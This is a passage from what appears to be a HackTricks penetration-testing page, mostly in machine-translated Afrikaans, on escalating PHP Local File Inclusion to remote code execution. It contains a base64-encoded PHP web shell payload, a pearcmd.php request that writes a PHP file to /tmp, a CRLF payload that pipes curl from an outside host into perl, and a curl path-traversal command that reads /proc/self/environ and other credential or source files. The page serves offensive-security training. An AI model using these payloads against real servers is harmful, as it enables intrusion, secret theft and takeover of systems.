As ssh aktief is, kontroleer watter gebruiker gebruik word (/proc/self/status & /etc/passwd) en probeer toegang kry tot <HOME>/.ssh/id_rsa
Deur vsftpd loglêers
Die loglêers vir die FTP-bediener vsftpd is geleë by /var/log/vsftpd.log. In die scenario waar ’n Local File Inclusion (LFI) kwetsbaarheid bestaan, en toegang tot ’n blootgestelde vsftpd-bediener moontlik is, kan die volgende stappe oorweeg word:
- Inject ’n PHP payload in die gebruikersnaamveld tydens die aanmeldproses.
- Na injectie, gebruik die LFI om die bedienerloglêers van /var/log/vsftpd.log terug te haal.
Deur php base64 filter (gebruik base64)
Soos getoon in this artikel, PHP base64 filter ignoreer eenvoudig nie-base64. Jy kan dit gebruik om die lêeruitbreidingskontrole te omseil: as jy base64 voorsien wat eindig met “.php”, sal dit net die “.” ignoreer en “php” aan die base64 heg. Hier is ’n voorbeeldpayload:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Via php filters (no file needed)
This writeup verduidelik dat jy php filters kan gebruik om arbitrêre inhoud te genereer as uitvoer. Dit beteken basies dat jy arbitrêre php code kan genereer vir die include sonder om dit in ’n lêer te skryf.
Via segmentation fault
Upload ’n lêer wat as ’n tydelike lêer in /tmp gestoor sal word, dan in dieselfde versoek ’n segmentation fault veroorsaak, en dan sal die tydelike lêer nie verwyder word nie en jy kan daarna soek.
LFI2RCE via Segmentation Fault
Via Nginx temp file storage
As jy ’n Local File Inclusion gevind het en Nginx voor PHP loop, kan jy moontlik RCE bekom met die volgende tegniek:
Via PHP_SESSION_UPLOAD_PROGRESS
As jy ’n Local File Inclusion gevind het, selfs al het jy nie ’n session nie en session.auto_start is Off. As jy die PHP_SESSION_UPLOAD_PROGRESS in multipart POST data verskaf, sal PHP die session vir jou aktiveer. Jy kan dit misbruik om RCE te kry:
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Via temp file uploads in Windows
As jy ’n Local File Inclusion gevind het en die bediener op Windows loop, kan jy moontlik RCE kry:
Via pearcmd.php + URL args
As explained in this post, bestaan die skrip /usr/local/lib/phppearcmd.php standaard in php docker images. Verder is dit moontlik om argumente aan die skrip via die URL deur te gee, omdat aangedui word dat as ’n URL-param nie ’n = het nie, dit as ’n argument gebruik moet word. Sien ook watchTowr’s write-up en Orange Tsai’s “Confusion Attacks”.
Die volgende versoek skep ’n lêer in /tmp/hello.php met die inhoud <?=phpinfo()?>:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Die volgende maak ’n CRLF vuln misbruik om RCE te kry (van here):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Deur phpinfo() (file_uploads = on)
As jy ’n Local File Inclusion gevind het en ’n lêer wat phpinfo() blootstel met file_uploads = on, kan jy RCE kry:
Deur compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
As jy ’n Local File Inclusion gevind het en jy can exfiltrate the path van die temp file, MAAR die server is checking of die file to be included has PHP marks, kan jy probeer om daardie check te bypass met hierdie Race Condition:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Deur eternal waiting + bruteforce
As jy die LFI kan misbruik om upload temporary files en die server die PHP-uitvoering laat hang, kan jy daarna ure lank brute force filenames om die temporary file te vind:
Tot Fatal Error
As jy enige van die lêers /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar include. (You need to include the same one 2 time to throw that error).
Ek weet nie hoe dit nuttig is nie, maar dit kan wees.
Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted.
.png)
Bewaar traversal sequences vanaf die kliënt
Sommige HTTP clients normaliseer of vou ../ in voordat die versoek die server bereik, wat directory traversal payloads breek. Gebruik curl --path-as-is om traversal onaangeraak te hou wanneer jy log/download endpoints misbruik wat ’n user-controlled filename aanmekaar koppel, en voeg --ignore-content-length by vir pseudo-files soos /proc:
curl --path-as-is -b "session=$SESSION" \
"http://TARGET/admin/get_system_log?log_identifier=../../../../proc/self/environ" \
--ignore-content-length -s | tr '\000' '\n'
Pas die aantal ../ segmente aan totdat jy die beoogde gids ontsnap, en dump dan /etc/passwd, /proc/self/cwd/app.py, of ander bron-/konfigurasielêers.
Verwysings
- PayloadsAllTheThings
- PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
- Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)
- Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5
- watchTowr – We need to talk about PHP (pearcmd.php gadget)
- Orange Tsai – Confusion Attacks on Apache
- VTENEXT 25.02 – a three-way path to RCE
- The Art of PHP: CTF‑born exploits and techniques
- When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
- Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?
- HTB: Imagery (admin log download traversal +
/proc/self/environread) - HTB: Gavel
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


